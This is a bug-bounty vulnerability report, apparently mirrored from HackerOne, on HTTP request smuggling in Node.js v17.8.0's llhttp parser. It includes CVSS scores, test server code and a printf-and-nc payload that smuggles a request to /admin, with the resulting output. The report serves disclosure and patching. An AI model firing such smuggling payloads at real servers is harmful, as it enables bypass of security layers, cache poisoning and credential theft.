Lucene search

K
hackeroneZeyu2001H1:1524692
HistoryMar 28, 2022 - 4:07 p.m.

Node.js: HTTP Request Smuggling Due To Improper Delimiting of Header Fields

2022-03-2816:07:44
zeyu2001
hackerone.com
11

6.5 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

6.4 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:P/A:N

0.003 Low

EPSS

Percentile

67.9%

Summary:

The llhttp parser in the http module in Node v17.8.0 does not strictly use the CRLF sequence to delimit HTTP requests. This can lead to HTTP Request Smuggling (HRS).

Description:

The LF character (without CR) is sufficient to delimit HTTP header fields in the lihttp parser. According to RFC7230 section 3, only the CRLF sequence should delimit each header-field.

Consider the following request (all lines are delimited by CRLF except the [\n] part)

GET / HTTP/1.1
Host: localhost
Dummy: x[\n]Content-Length: 23

GET / HTTP/1.1
Dummy: GET /admin HTTP/1.1
Host: localhost

Suppose that an upstream server:

  • Correctly delimits lines by the CRLF sequence instead of only LF
  • Incorrectly allows the LF character in header values

This leads to HTTP request smuggling as the Node server sees one extra header field, Content-Length: 23 while the upstream proxy thinks that the content length of the first request is 0.

Request as seen by the Node server:

GET / HTTP/1.1
Host: localhost
Dummy: x
Content-Length: 23

GET / HTTP/1.1
Dummy: GET /admin HTTP/1.1
Host: localhost

Steps To Reproduce:

Server code I used for testing:

const http = require('http');

http.createServer((request, response) => {
   let body = [];
   request.on('error', (err) => {
      response.end("error while reading body: " + err)
   }).on('data', (chunk) => {
      body.push(chunk);
   }).on('end', () => {
   body = Buffer.concat(body).toString();
   
   response.on('error', (err) => {
      response.end("error while sending response: " + err)
   });

   response.end(JSON.stringify({
         "URL": request.url,
         "Headers": request.headers,
         "Length": body.length,
         "Body": body,
      }) + "\n");
   });
}).listen(80);

Payload:

(printf "GET / HTTP/1.1\r\n"\
"Host: localhost\r\n"\
"Dummy: x\nContent-Length: 23\r\n"\
"\r\n"\
"GET / HTTP/1.1\r\n"\
"Dummy: GET /admin HTTP/1.1\r\n"\
"Host: localhost\r\n"\
"\r\n"\
"\r\n") | nc localhost 80

Expected result: Sees two requests, both to /.

Actual result: Sees one request to / and another to /admin.

HTTP/1.1 200 OK
Date: Mon, 28 Mar 2022 15:51:44 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 124

{"URL":"/","Headers":{"host":"localhost","dummy":"x","content-length":"23"},"Length":23,"Body":"GET / HTTP/1.1\r\nDummy: "}
HTTP/1.1 200 OK
Date: Mon, 28 Mar 2022 15:51:44 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 69

{"URL":"/admin","Headers":{"host":"localhost"},"Length":0,"Body":""}

Impact

Depending on the specific web application, HRS can lead to cache poisoning, bypassing of security layers, stealing of credentials and so on.

6.5 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

6.4 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:P/A:N

0.003 Low

EPSS

Percentile

67.9%